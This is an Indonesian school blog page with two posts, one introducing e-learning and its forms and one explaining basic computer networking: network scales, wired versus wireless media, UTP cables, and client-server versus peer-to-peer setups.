Guru dapat memberikan layanan tanpa harus berhadapan langsung dengan siswa. Demikian pula siswa dapat memperoleh informasi dalam lingkup yang luas dari berbagai sumber melalui cyber space atau ruang maya dengan menggunakan komputer atau internet. Hal yang paling mutakhir adalah berkembangnya apa yang disebut “cyber teaching” atau pengajaran maya, yaitu proses pengajaran yang dilakukan dengan menggunakan internet. Istilah lain yang makin poluper saat ini ialah e-learning yaitu satu model pembelajaran dengan menggunakan media teknologi komunikasi dan informasi khususnya internet.
Menurut Rosenberg (2001; 28), e-learning merupakan satu penggunaan teknologi internet dalam penyampaian pembelajaran dalam jangkauan luas yang belandaskan tiga kriteria yaitu:

(1) e-learning merupakan jaringan dengan kemampuan untuk memperbaharui, menyimpan, mendistribusi dan membagi materi ajar atau informasi,

(2) pengiriman sampai ke pengguna terakhir melalui komputer dengan menggunakan teknologi internet yang standar,

(3) memfokuskan pada pandangan yang paling luas tentang pembelajaran di balik paradigma pembelajaran tradisional.

Saat ini e-learning telah berkembang dalam berbagai model pembelajaran yang berbasis TIK seperti: CBT (Computer Based Training), CBI (Computer Based Instruction), Distance Learning, Distance Education, CLE (Cybernetic Learning Environment), Desktop Videoconferencing, ILS (Integrated Learning Syatem), LCC (Learner-Cemterted Classroom), Teleconferencing, WBT (Web-Based Training), dsb

Read More......

Mei 27, 2010

SMK.N1 Lubuksikaping

· 0 komentar

Pada kesempatan kali ini SMK.N1 bisa dalam berbagai hal. Tapi berbagai kendala juga di alami oleh semua murid SMK.N1. SMK sekarang sudah mengalami kemajuan dalm berbagai bidang,terutama dalam bidang Teknologi Informasi dan Komunikasi. SMK yang mempunyai jurusan seperti ini SMK.N1 Lubuksikaping.

Pada kesempatan ini SMK.N1 Lubuksikaping akan mencoba memberi penjelasan tentang :


  • Jaringan Komputer



  • Jaringan komputer adalah kumpulan beberapa komputer dan alat-alat yang lain seperti printer, hub, dan yang lainnya yang saling terhubung satu sama lain melalui media perantara dan bisa di gunakan secara bersama. Media perantara ini bisa merupakan media kabel ataupun media tanpa kabel yang akan mengalirkan data dari satu komputer ke komputer lainnya atau dari satu komputer ke perangkat yang lain, yang memungkinkan masing-masing komputer yang terhubung tersebut bisa bertukar dokumen dan

    data, memakai satu printer untuk beberapa komputer.


  • Klasifikasi Jaringan Komputer

    Klasifikasi jaringan komputer berdasarkan skala dibagi dalam empat bagian :

    Skala yang dimaksud disini adalah ukuran dari daerah cakupan jaringan komputer.


  • 1. LAN ( Local Area Network )

    Local area network adalah jaringan lokal atau jaringan private yang ada dalam satu gedung atau dalam satu ruangan. LAN biasa di gunakan untuk jaringan kecil yang menggunakan satu resource secara bersama-sama, misalnya penggunaan printer secara bersama-sama, penggunaan media penyimpanan secara bersama, dan lain-lain.

    2. MAN ( Metropolitan Area Network )

    Metropolitan Area Network adalah pengembangan dari LAN yang menggunakan metode yang sama dengan LAN tetapi daerah cakupannya lebih luas. Daerah cakupan LAN yang hanya ada pada satu ruangan atau gedung, tetapi pada MAN cakupannya bisa merupakan satu RT atau beberapa kantor yang berada dalam komplek yang sama.

    3. WAN ( Wide Area Network )

    Wide Area Network dengan cakupan yang lebih luas lagi, cakupannya meliputi satu kawasan, satu pulau atau satu negara bahkan benua. Sedangkan metode yang di pakai dalam WAN hampir sama dengan yang di pakai di dalam LAN dan MAN.

    4. Internet

    Internet adalah interkoneksi antar jaringan-jaringan komputer yang ada di dunia yang bisa saling berkomunikasi dan bertukan informasi menggunakan standard Internet Protocol ( IP ).


  • Klasifikasi jaringan komputer berdasar kan media pengantar data daoat kini bagi menjadi dua :


  • 1. Wireless Network

    Wireless Network adalah jaringan tanpa kabel yang menggunakan media pengantar peralatan radio yang bisa saling terhubung. Jenis- jenis radio yang bisa di gunakan memiliki macam dan ragam yang banyak. Seperti halnya radio yang biasa kita dengar kan yang memiliki frequensi, radio inipun memiliki frequensi yang membatasi tiap-tiap radio tidak saling terhubung. Frequensi yang di gunakan pada radio untuk jaringan komputer biasanya menggunakan frequensi tinggi, seperti 2.4 GHz , 5.8 GHz, dan banyak lagi yang lainnya.

    2. Wire Network

    Wire Network adalah jaringan komputer dengan menggunakan kable sebagai perantaranya. Kabel yang umum digunakan pada jaringan komputer biasanya di sebut dengan kabel UTP (Unshielded twisted-pair). Kabel ini menggunakan bahan dasar tembaga tanpa pelindung di dalamnya, makanya kabel ini dinamakan dengan Unshielded twisted-pair. Kabel yang digunakan dalam pengkoneksian komputer-komputer ini memiliki kategori yang berbeda-beda, dimulai dengan category 1 ( cat1), category 2 (cat2), category 3(cat3), category 4(cat4), category 5 (cat5), Enhanced category 5 (cat5e), dan lain-lain. Sedangkan yang umum dipakai adalah (cat5) dan (cat5e). Sedangkan konektor di ujung masing-masing kabel di sebut dengan RG 45.



  • Klasifikasi jaringan berdasarkan fungsi. Jaringan komputer dibagi menjadi 2 bagian.



  • 1. Client Server

    Client Server adalah jaringan komputer yang salah satu komputer di dalam jaringan tersebut di dedikasikan sebagai server atau induk dari komputer yang lain, yang melayani atau memberikan services kepada komputer lain sebagai client. Services disini bisa berupa service web, service mail, service file, dan services yang lainnya.

    2. Peer to Peer

    Peer to Peer adalah jaringan komputer dimana komputer yang terhubung bisa menjadi server sekaligus sebagai client. Implementasi bisa kita lihat pada jaringan network local yang bisa menerima dan memberikan access dari dan ke komputer yang lainnya.
    Vikhi-Muhammad Fazli

    Read More......